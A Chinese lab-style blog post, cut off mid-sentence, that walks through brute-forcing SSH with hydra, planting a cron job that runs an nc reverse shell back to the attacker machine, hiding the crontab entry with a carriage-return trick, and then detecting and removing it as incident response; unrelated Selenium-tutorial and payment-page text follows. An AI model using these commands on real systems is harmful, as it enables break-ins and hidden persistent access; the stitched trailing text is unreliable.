Web学习篇(一)

(本文仅为学习记录,请不要做违法犯罪行为)

目录

一、SSH远程攻击

二、sql注入

三、xss漏洞 

 四、文件上传漏洞

五、文件包含漏洞


一、SSH远程攻击

攻击机:192.168.xxx.130

靶机:10.133.xxx.159(目标主机)

0、信息收集,端口扫描(发现22端口开放,尝试爆破ssh)

nmap 10.133.xxx.159

1、使用hydra进行爆破

hydra -L users.txt -P password.txt ssh://10.133.xxx.159

2、拿到用户名和密码,登录靶机

ssh xxx@10.133.xxx.159

3、创建隐藏计划任务

进入/tmp目录创建 task.sh 文件

#!/bin/bash

nc 192.168.xxx.130 7777 -e /bin/bash(反弹shell的脚本)

查看task.sh权限 ls -l task.sh

4、增加执行权限

chmod +x task.sh

5、创建计划任务test.sh(*表示每隔一分钟就执行task.sh文件)

(crontab -l;printf "* * * * * /tmp/task.sh;\rno crontw-wab for `whoami`%100c\n")|crontab -

6、同样给test.sh增加执行权限

chmod +x test.sh

7、重新打开一个终端(尝试nc链接目标主机的shell)

输入命令:nc -lvp 7777(开启监听)

8、为什么要搞个计划任务来反弹shell

避免对方修改密码后或者关机后而连不上ssh(权限维持)

################################################(以上操作都在攻击机上实现)

目标主机进行应急响应

1、netstat -antpl 查看连接

发现有可疑的外部ip连接

2、查看进程树

pstree -p

3、查看具体进程

systemctl status 4616(pid)

发现它是经过计划任务来执行的

4、查看计划任务

crontab -l(这个命令不可以查看到)

cat -A /var/spool/cron/sumql

5、查看到/tmp/task.sh这个路径

接着查看里面有什么内容,以及是什么时间上传的

ls -l /tmp/task.sh

cat /tmp/task.sh

6、发现里面的内容为,用nc反弹一个shell

7、接着进行溯源(wtmp指的是登录成功的日志;btmp指的是登录失败的日志)

查看日志:last -f /var/log/wtmp

在查看日志的时候,我们知道了,我们的用户名和登录密码被爆破了,并且攻击方创建了计划任务

8、删除隐藏的计划任务

crontab -r -u sumql

9、再使用cat -A /var/spool/cron/sumql这个命令查看计划任务,发现没有了

10、接着杀掉进程pid

kill 4616

11、cd /tmp将task.s

  • 26
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
当然,下面是一关于Selenium学习的简要笔记: Selenium学习笔记 Selenium是一个用于自动化浏览器操作的工具,它提供了一套API,可以简化Web应用程序的测试和自动化过程。以下是一些基本概念和用法,可以帮助你快速入门Selenium。 1. 安装Selenium 首先,你需要安装Selenium库。你可以使用pip命令来安装,在命令行中执行以下命令: ``` pip install selenium ``` 2. 驱动程序 Selenium需要一个浏览器驱动程序来控制浏览器。根据你使用的浏览器,你需要下载相应的驱动程序。 - 如果你使用Chrome浏览器,你需要下载ChromeDriver; - 如果你使用Firefox浏览器,你需要下载geckodriver; - 如果你使用Edge浏览器,你需要下载MicrosoftWebDriver。 3. 启动浏览器 在使用Selenium之前,请确保已经将驱动程序路径添加到系统环境变量中。然后,你可以使用以下代码启动一个浏览器: ```python from selenium import webdriver # 使用Chrome浏览器 driver = webdriver.Chrome() # 使用Firefox浏览器 driver = webdriver.Firefox() # 使用Edge浏览器 driver = webdriver.Edge() ``` 4. 打开网页 一旦你启动了浏览器,你可以使用以下代码打开一个网页: ```python driver.get("https://www.example.com") ``` 5. 查找元素 Selenium提供了多种方式来查找网页上的元素,比如按ID、类名、标签名等。以下是一些示例代码: ```python # 按ID查找元素 element = driver.find_element_by_id("element_id") # 按类名查找元素 elements = driver.find_elements_by_class_name("element_class") # 按标签名查找元素 element = driver.find_element_by_tag_name("element_tag") ``` 6. 元素操作 一旦找到了元素,你可以对它进行各种操作,比如点击、输入文本等。以下是一些示例代码: ```python # 点击元素 element.click() # 输入文本 element.send_keys("text") # 获取元素文本 text = element.text ``` 这只是Selenium的基本用法,还有很多其他功能和用法等待你去探索。希望这学习笔记对你有所帮助!

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值